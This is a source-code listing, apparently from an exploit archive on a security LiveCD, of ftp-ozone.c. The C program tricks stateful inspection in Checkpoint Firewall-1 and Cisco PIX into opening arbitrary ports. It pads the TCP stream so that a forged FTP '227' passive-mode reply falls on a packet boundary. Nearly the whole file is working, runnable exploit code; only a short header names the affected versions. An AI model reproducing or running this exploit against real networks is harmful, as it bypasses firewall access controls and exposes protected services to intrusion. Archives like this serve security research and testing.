home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / ftp-ozone.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  207 lines

  1. /*
  2.   ftp-ozone.c
  3.   
  4.   Demonstrate a basic layer violation in "stateful" firewall
  5.   inspection of application data (within IP packets - @#$@#$!):
  6.  
  7.      http://www.checkpoint.com/techsupport/alerts/pasvftp.html
  8.   
  9.   Dug Song <dugsong@monkey.org>
  10.  
  11.  Affected:
  12.    Checkpoint Software Firewall-1 4.0
  13.    Checkpoint Software Firewall-1 3.0
  14.    Cisco PIX Firewall 5.1
  15.    Cisco PIX Firewall 5.0
  16.    Cisco PIX Firewall 4.4(4)
  17.    Cisco PIX Firewall 4.3
  18.    Cisco PIX Firewall 4.2.2
  19.    Cisco PIX Firewall 4.2.1
  20.    Cisco PIX Firewall 4.1.6b
  21.    Cisco PIX Firewall 4.1.6
  22.  
  23. */
  24.  
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <netinet/in.h>
  28. #include <netinet/tcp.h>
  29. #include <arpa/inet.h>
  30. #include <netdb.h>
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <unistd.h>
  34. #include <string.h>
  35. #include <signal.h>
  36. #include <setjmp.h>
  37.  
  38. #define PAD_LEN        128    /* XXX - anything on BSD, but Linux is weird */
  39.  
  40. #define GREEN        "\033[0m\033[01m\033[32m"
  41. #define OFF        "\033[0m"
  42.  
  43. jmp_buf env_buf;
  44.  
  45. void
  46. usage(void)
  47. {
  48.   fprintf(stderr, "Usage: ftp-ozone [-w win] <ftp-server> <port-to-open>\n");
  49.   exit(1);
  50. }
  51.  
  52. u_long
  53. resolve_host(char *host)
  54. {
  55.   u_long addr;
  56.   struct hostent *hp;
  57.  
  58.   if (host == NULL) return (0);
  59.  
  60.   if ((addr = inet_addr(host)) == -1)
  61.     {
  62.       if ((hp = gethostbyname(host)) == NULL)
  63.         return (0);
  64.       memcpy((char *)&addr, hp->h_addr, sizeof(addr));
  65.     }
  66.   return (addr);
  67. }
  68.  
  69. #define UC(b)    (((int)b)&0xff)
  70.  
  71. int
  72. ftp_pasv_reply(char *buf, int size, u_long ip, u_short port)
  73. {
  74.   char *p, *q;
  75.  
  76.   port = htons(port);
  77.   p = (char *)&ip;
  78.   q = (char *)&port;
  79.  
  80.   return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n",
  81.                    UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
  82.                    UC(q[0]), UC(q[1])));
  83. }
  84.  
  85. void handle_timeout(int sig)
  86. {
  87.   alarm(0);
  88.   longjmp(env_buf, 1);
  89. }
  90.  
  91. void
  92. read_server_loop(int fd, int timeout, int pretty)
  93. {
  94.   char buf[2048];
  95.   int rlen;
  96.  
  97.   if (!setjmp(env_buf))
  98.     {
  99.       signal(SIGALRM, handle_timeout);
  100.       alarm(timeout);
  101.       for (;;)
  102.         {
  103.           if ((rlen = read(fd, buf, sizeof(buf))) == -1)
  104.             break;
  105.           if (pretty)
  106.             {
  107.               buf[rlen] = '\0';
  108.               if (strncmp(buf, "227 ", 4) == 0)
  109.                 printf("[" GREEN "%s" OFF "]\n", buf);
  110.               else printf("[%s]\n", buf);
  111.             }
  112.           else write(0, buf, rlen);
  113.         }
  114.       alarm(0);
  115.     }
  116. }
  117.  
  118. int
  119. main(int argc, char *argv[])
  120. {
  121.   int c, fd, win, len;
  122.   u_long dst;
  123.   u_short dport;
  124.   struct sockaddr_in sin;
  125.   char buf[1024];
  126.  
  127.   win = PAD_LEN;
  128.  
  129.   while ((c = getopt(argc, argv, "w:h?")) != -1)
  130.     {
  131.       switch (c)
  132.         {
  133.         case 'w':
  134.           if ((win = atoi(optarg)) == 0)
  135.             usage();
  136.           break;
  137.         default:
  138.           usage();
  139.         }
  140.     }
  141.   argc -= optind;
  142.   argv += optind;
  143.  
  144.   if (argc != 2)
  145.     usage();
  146.  
  147.   if ((dst = resolve_host(argv[0])) == 0)
  148.     usage();
  149.  
  150.   if ((dport = atoi(argv[1])) == 0)
  151.     usage();
  152.  
  153.   /* Connect to FTP server. */
  154.   memset(&sin, 0, sizeof(sin));
  155.   sin.sin_addr.s_addr = dst;
  156.   sin.sin_family = AF_INET;
  157.   sin.sin_port = htons(21);
  158.  
  159.   if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  160.     {
  161.       perror("socket");
  162.       exit(1);
  163.     }
  164.   if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
  165.     {
  166.       perror("setsockopt");
  167.       exit(1);
  168.     }
  169.   if (connect(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  170.     {
  171.       perror("connect");
  172.       exit(1);
  173.     }
  174.   read_server_loop(fd, 10, 0);
  175.  
  176.   /* Send padding. */
  177.   len = win - 5;     /* XXX - "500 '" */
  178.   memset(buf, '.', len);
  179.  
  180.   if (write(fd, buf, len) != len)
  181.     {
  182.       perror("write");
  183.       exit(1);
  184.     }
  185.   /* Send faked reply. */
  186.   len = ftp_pasv_reply(buf, sizeof(buf), dst, dport);
  187.  
  188.   if (write(fd, buf, len) != len)
  189.     {
  190.       perror("write");
  191.       exit(1);
  192.     }
  193.   read_server_loop(fd, 5, 1);
  194.  
  195.   printf("[ now try connecting to %s %d ]\n", argv[0], dport);
  196.  
  197.   for (;;)
  198.     {
  199.       ;
  200.     }
  201.   /* NOTREACHED */
  202.  
  203.   exit(0);
  204. }
  205.  
  206. /* w00w00. */
  207. /*                    www.hack.co.za           [20 May 2000]*/